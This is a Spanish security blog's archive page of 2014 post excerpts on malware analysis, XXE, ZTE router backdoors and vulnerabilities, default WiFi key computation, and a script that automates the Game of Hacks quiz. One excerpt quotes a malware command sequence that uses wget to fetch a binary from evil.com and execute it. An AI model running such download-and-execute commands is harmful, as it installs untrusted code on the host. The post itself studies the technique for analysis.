sábado, 6 de diciembre de 2014

TCP Initial Window Size Fingerprinting with Zmap

¿Qué pasa cuando juntas una interesante técnica de fingerprinting con uno de los más rápidos scanners de Internet? Veamos... }:))

domingo, 19 de octubre de 2014

Set execution bit without chmod: A malware trick

Sucedió una vez, mientras analizaba por entretenimiento una muestra de malware para dispositivos embebidos, que encontré una secuencia de comandos bastante curiosa:

cd /var/run
cp /bin/cp evil
wget http://evil.com/evil -O evil
chmod +x evil
./evil

El propósito de cada línea, independientemente de las demás, está claro. Sin embargo, lo que me resultaba desconcertante era el comando "cp" ¿Para qué el malware crea una copia de "/bin/cp" si luego la sobrescribe inmediatamente?

sábado, 23 de agosto de 2014

¿Cómo ganar en Game of Hacks?

¿Ya vieron éste juego? http://www.gameofhacks.com/game

Yo me animé a probarlo y estuve un rato respondiendo preguntas contra reloj lo más rápido que podía para alcanzar un buen ranking. Después de intentar varias veces me di cuenta que las preguntas eran repetitivas y que las alternativas no cambiaban ni siquiera de orden. Y, puesto que a esas alturas yo ya respondía de forma mecánica, me propuse otro tipo de reto: automatizar la resolución del cuestionario.

Usando el inspector de Firefox y algo de código javascript (JQuery) he llegado a estar en el primer puesto xD

Fig. 1 - Top 10 de Game of Hacks (23/08/2014 21:30 GMT -5)

Lo único que tengo que hacer es copiar el siguiente código en la consola del inspector y luego llamar a la función "resolve()" cada vez que me aparece una pregunta.

function resolve() {
    var ans = $('.answer');
    var code = $('.board-quest-body > pre:nth-child(1) > code:nth-child(2)').html();    
    if (code.search('disp\\.forward\\(request, response\\);') >= 0) {ans[0].click();}
    if (code.search('knockout\\.js') >= 0) { ans[2].click(); }
    if (code.search('SQLCHAR') >= 0) { ans[2].click(); }
    if (code.search('int  isAdmin = 0;') >= 0) { ans[1].click(); }
    if (code.search('writeToFile\\(path\\);') >= 0) { ans[0].click(); }
    if (code.search('unserialize\\(base64_decode') >= 0) { ans[0].click(); }
    if (code.search('creditCardNumberFextField') >= 0) { ans[3].click(); }
    if (code.search('char name\\[64\\];') >= 0) { ans[2].click(); }
    if (code.search('ldap_search\\(\\$ds, \\$dn, \\$dn, \\$justthese\\);') >= 0) { ans[0].click(); }
}

Ahora puedes decirme tramposo si quieres, pero es un reto de hacking así que en mi opinión todo se vale xD

Un saludo.

sábado, 16 de agosto de 2014

Identificar ataques desde el log de Apache con PHPIDS

Pues eso... ¿Quién no ha revisado los logs de Apache después de un ataque web? Yo suelo tirar de "grep" como comenté en algún post anterior. Lo malo es que ¿Y si no "grepeo" el string correcto? A veces hecho de menos alguna herramienta sencilla que revise los logs, reconozca ataques y me de la info necesaria para seguir tirando de la madeja... Algo como la fusión entre un parser de logs y un IDS. Y sí, de eso es lo que va esta entrada...

jueves, 19 de junio de 2014

Los correos de tu banco o AFP podrían no ser tan privados

Una mañana como cualquier otra llegó a mi correo un mensaje de cierta empresa con el típico "spam" sobre la última gran tontería que se les ha ocurrido para sacarte dinero. Abrí el correo y busqué en las letras pequeñas algún link para darme de baja o similar. Para mi sorpresa, cuando lo encontré, noté que la URL a la que dirigía era de un dominio que no pertenecía a la empresa que supuestamente me había enviado el correo. El foco de alerta naranja se encendió inmediatamente y me dispuse a examinar el link y descartar algún intento de phishing (por supuesto, con la mascarilla, los guantes y la bata blanca puestos).

sábado, 31 de mayo de 2014

Una historia de hackers [Parte IV]

Esta es la última parte de un relato que inicié hace ya mucho tiempo. Hay muchos detalles que por mi mala memoria ya no recuerdo con exactitud. Sin embargo trataré de relatarlo lo más fielmente posible.

Puedes leer los posts anteriores en estos links:

Una historia de hackers [Parte IV]

Yo llegando nuevamente tarde al trabajo. La noche anterior me había quedado hasta altas horas de la madrugada jugando con la botnet del hacker.

Luego de saludar a todos mis compañeros como de costumbre, les conté lo que había aprendido sobre la botnet y como controlar los bots mediante mensajes privados en el IRC. El tema les interesó, no todos los días encuentras una botnet IRC por ahí. Empezamos a conversar sobre qué hacer con la botnet ahora que podíamos controlarla.

sábado, 10 de mayo de 2014

Default WiFi Paswords - wlanXXXX.py [DEMO]

Muy pocos posts en este blog generan tantos comentarios como ha sucedido recientemente con el que trata sobre wlanXXXX.py, un script que programé en python a modo de prueba de concepto y que calcula la clave por defecto de algunos modelos de routers ZTE y Observa. A través de estos comentarios he recibido valiosas colaboraciones que se han reflejado en mejoras del script. Sin embargo también son muchos los comentarios pidiendo "ayuda" con ciertas MACs. Quiero aclarar que no se supone que yo sepa todas las MACs de todos los modelos de todas las marcas de todos los fabricantes de routers de todo el multiverso!!! Así que, por favor, no esperen que responda ese tipo de preguntas.

Lo que sé, es lo que está implementado en el script. Por ello he preparado un vídeotutorial que muestra como configurar y ejecutar el script (por si no estaba claro aún). El vídeotutorial es sobre una virtual con Winbugs XP... no hay (ni habrá) un tutorial para Linux porque dudo que un linuxero que se precie no sepa ejecutar un script en python.

Con respecto a si se añadirá soporte a más MACs y modelos de routers, todo depende de los aportes que reciba y del tiempo que me quede disponible para seguir investigando. Pero definitivamente considero que el script no está terminado y que aún puede mejorar.

Sin más, les dejo el vídeo...


Un saludo.

domingo, 23 de marzo de 2014

XXE Out Of Band

En el post de la semana pasada se explicó lo más básico de la explotación de un fallo XXE (XML eXternal Entity). Hoy veremos una técnica más avanzada que nos permitirá explotar este fallo en escenarios un tanto más complicados.

Pero antes de continuar, si quieres poner en práctica tus habilidades con XXE pasate por este post http://fiery-owl.blogspot.com/2014/03/xxe-online.html.

sábado, 15 de marzo de 2014

Jugando con XXE (Xml eXternal Entity)

XXE (Xml eXternal Entity) es un tipo de vulnerabilidad con el que hace mucho tiempo tenía ganas de jugar. En este post voy a explicar lo más básico de esta vuln con el propósito de entender su funcionamiento.

XXE es un fallo que se produce en aplicaciones que hacen uso de "parsers" XML. Es decir aplicaciones que reciben como entrada un documento XML y para procesarlo hacen uso de alguna librería de parseo como LibXML, Xerces, MiniDOM, etc. El atacante entonces puede enviar un documento XML especialmente manipulado para conseguir que el parser XML divulgue información del sistema, consuma recursos en exceso, ejecute comandos u otras formas de explotación.

Pero vamos por partes...

domingo, 9 de febrero de 2014

airocon.nse - Exploit para el backdoor del Portaretratos

Fin de semana de nuevo, recién puedo volver a postear.

Nunca imaginé que el backdoor en El Portaretratos (ZTE ZXV10 W300 v2.1) fuera a tener tal repercusión al punto de provocar una respuesta de "La Innombrable" (aunque bastante caleta y para nada oficial) aceptando el fallo y tratando de minimizar el hecho sugiriendo disimuladamente que solo afecta a quienes hayan adquirido el router por "canales diferentes a la empresa" (osea Paruro, La Cachina, Las Malvinas, Mercado Libre, etc.) Eso es falso. El router con el que hice las pruebas fue el que tenía en casa, antes que me trajeran el Nucom, y es igualmente vulnerable. También dicen que afecta a "un porcentaje mínimo de su planta de módems". Eso es relativo ¿Cuánto es un porcentaje mínimo? Teniendo en cuenta que son de lejos el principal ISP del país (por razones que no viene al caso mencionar) un "porcentaje mínimo" puede traducirse a un número no tan despreciable. Según el último escaneo que realicé (el mismo día que lanzaron el comunicado) habían más de 29000 de estos equipos en el rango de direcciones IP de Perú. Quizá para ellos eso sea solo un porcentaje mínimo, no sé cuantos clientes tenga La Innombrable, pero son más 29000 familias peruanas que podrían ser víctimas de estafas por Internet (como phishing bancario por ejemplo).

martes, 4 de febrero de 2014

Hackeando el router ZTE ZXV10 W300 v2.1 (El Portaretratos)

Fig. 0 - Router ZTE ZXV10 W300 v2.1

Se ha publicado una vulnerabilidad para el router modelo ZXV10 W300 V2.1 de la marca ZTE, más conocido aquí en Perú como "El Portaretratos" por su singular apariencia. Esta vulnerabilidad permite acceder a la configuración del router con permisos de administrador a través del servicio telnet.

jueves, 30 de enero de 2014

Nuevo dominio: blog.alguien.at

Como habrás notado, el blog desde ahora tiene un nuevo dominio: "blog.alguien.at". No es un gran cambio pero quizá ayude a recordarlo más fácilmente que "alguienenlafisi.blogspot.com". Aunque este último seguirá funcionando y hará la redirección al nuevo dominio. El nombre del blog, por lo pronto, no va a cambiar. Este blog seguirá narrando las ideas, aventuras, locuras, aprendizajes y demás pajas mentales de alguien en la FISI. Con algo de suerte egresaré de la FISI algún día y entonces, cuando ya no tenga sentido, deberé plantearme que hacer con el blog. Debo admitir que tengo sentimientos encontrados al respecto.

Debo agradecerle a mi amigo Dedalo porque de él ha sido esta iniciativa, es más, él mismo se ofreció a comprar el dominio y así lo hizo ¡Gracias totales! :D

Espero que el cambio sea de su agrado y si no sus sugerencias serán bienvenidas > /dev/null xD

Un saludo.

domingo, 26 de enero de 2014

Hacking WiFi - ZTE ZXHN H108N - Parte II


En el post anterior mostré un script en python que generaba un diccionario de posibles contraseñas para la configuración por defecto de la Wi-Fi de los routers ZTE ZXHN H108N. Gracias a un comentario en ese post me di cuenta que no había analizado lo suficiente y que en realidad no era necesario hacer un ataque por diccionario, sino que la contraseña se puede deducir completamente a partir del BSSID (MAC) del AP.

viernes, 3 de enero de 2014

ZTE ZXV10 W300 v2.1 - HTTP Authorization Header DoS

Fig. 1 - ZTE ZXV10 W300 v2.1
Hace unos días conversando con un amigo me comentó que había encontrado, casi sin querer, una vulnerabilidad en el router modelo ZXV10 W300 v2.1 de ZTE (quizá más conocido como el portaretratos). Yo había encontrado algunas otras vulnerabilidades en ese mismo modelo que expuse en el pasado Limahack 2013 pero sinceramente este fallo no lo encontré.